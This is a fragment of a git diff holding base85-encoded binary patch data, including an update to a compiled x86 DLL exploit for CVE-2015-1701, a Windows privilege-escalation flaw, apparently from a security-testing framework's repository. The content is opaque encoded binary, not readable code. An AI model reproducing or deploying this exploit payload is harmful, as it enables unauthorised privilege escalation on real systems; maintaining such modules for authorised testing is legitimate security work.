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 diff --git a/data/exploits/CVE-2015-1701/cve-2015-1701.x86.dll b/data/exploits/CVE-2015-1701/cve-2015-1701.x86.dll index 2dd92ae5f5b1745e9b24f20a7b13ba0d347a5716..6fe8681520f2ea1229333f023ddabcc3d4303d99 100755 GIT binary patch delta 11536 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 E22+G!!T<mO delta 11620 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 